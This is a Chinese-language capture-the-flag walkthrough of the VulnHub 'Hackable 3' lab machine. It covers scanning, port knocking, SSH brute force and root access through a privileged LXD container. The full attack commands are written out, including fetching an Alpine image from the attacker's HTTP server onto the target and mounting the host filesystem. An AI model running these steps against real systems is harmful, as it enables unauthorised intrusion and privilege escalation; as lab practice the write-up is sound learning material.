ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

VulnHub日记(三): Hackable 3

2021-08-05 16:59:14  阅读:401  来源: 互联网

标签:用户名 端口 192.168 lxc VulnHub txt Hackable 日记 56.107


靶机介绍


中等难度的ctf虚拟机

参考链接:

参考博客:https://nepcodex.com/2021/07/hackable-iii-walkthrough-vulnhub/

虚拟机链接:https://www.vulnhub.com/entry/hackable-iii,720/

lxd,lxc提权:https://www.freebuf.com/articles/system/216803.html

开始练习


本机ip:192.168.56.102

nmap扫出目的机ip:192.168.56.107

nmap -sS 192.168.56.0/24

扫描开启服务

nmap -A -p- 192.168.56.107

扫描目录

dirsearch -e txt,php,html,flag,asp,aspx,bak,jpg,img,htm  -r -u http://192.168.56.107

 

 

ssh为过滤状态,访问80端口,查看网页源码,发现提示,需要尝试上次日记中使用过的端口碰撞技术来解锁ssh端口,并且告诉老板approve .jpg(当时不太明白)

 

 

注释内容:
<!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com" -->

查看可访问的目录,发现字典,应该可以用于爆破登录,寻找登录入口

再次访问初始页面,查看源码,放大后发现隐藏的菜单按钮,打开登录页面,使用BP暴力破解用户名密码

 第一次用户名和密码都用字典,没有结果,想到可能是之前提示代码中的”jubiscleudo“是用户名,开始尝试

依旧没有结果,所以该字典应该是ssh的字典,但是发现登录后打开的是一个空的页面,查看原代码,发现是之前扫描到的”login.php“,基本动作就是连接数据库,从数据库中读取用户名密码信息,如果成功,就打开3.jpg,于是先下载3.jpg

查看之前扫描的目录,在”config.php“中发现数据库用户名密码等信息

结合两个代码,我们获取了mysql的数据库名称和用户名密码 ,这个页面再没有更多想法了,则尝试登录ssh,则需要端口序列来使用knock解锁22端口,就想到了之前没有用到的1.txt和2.txt,觉得这两个应该是端口序列

看了一眼大佬的提示,用base64编码解码1.ttxt,使用Brainfuck解码2.txt

echo MTAwMDA= | base64 -d

 Brainfuck的在线解码网站:http://ctf.ssleye.com/brain.html

 现在还缺少一个端口号,按照之前的文件名称想到了3.jpg,但是不知道怎么提取,于是查看提示,了解了这里使用了文件隐写,按照提示提取出端口,成功knock

steghide extract -sf 3.jpg
cat steganopayload148505.txt 

knock 192.168.56.107 1000 4444 65535
nmap -A -p- 192.168.56.107 

 

使用之前注释里的用户名和获得的字典爆破

 得到用户名密码 

ssh -l jubiscleudo 192.168.56.107

查看user.txt

cat .user.txt

进入sql失败,也没有发现本用户有特殊权限,返回上级目录,发现新用户名hackable_3

cd ../
id
ls -al

逐个访问目录,在访问/var/www/html下有隐藏文件.back_config.php 

打开后得到hackable_3密码 

 

切换用户,查看id和用户目录文件

id
cd /home/hackable_3
ls -al

查看id后

发现可以利用lxd,lxc提权

本机下载Alpine镜像

git clone  https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine

生成.tar.gz文件,打开server服务,传输给目标机

python -m SimpleHTTPServer

目标机获取镜像,将其以镜像的形式添加进LXD了

wget http://192.168.56.102:8000/alpine-v3.8-x86_64-20210805_0417.tar.gz
lxc image import ./alpine-v3.8-x86_64-20210805_0417.tar.gz --alias myimage
lxc image list
#.tar.gz文件是根据时间生成的,需要根据自己情况更改名称  --alias 后的名称也可以自己定义

 初始化Container,否则在加载容器时会显示没有存储池

lxd init
一路回车

执行如下命令,成功提权

lxc init myimage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start ignite

lxc exec ignite /bin/sh

获取flag 

cd /mnt/root/root
ls -al
cat root.txt

 

总结


线索较多,第一次使用lxc,lxd提权,Brainfuck编码,又一次用到了knock解锁端口

标签:用户名,端口,192.168,lxc,VulnHub,txt,Hackable,日记,56.107
来源: https://blog.csdn.net/weixin_44107836/article/details/119411475

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有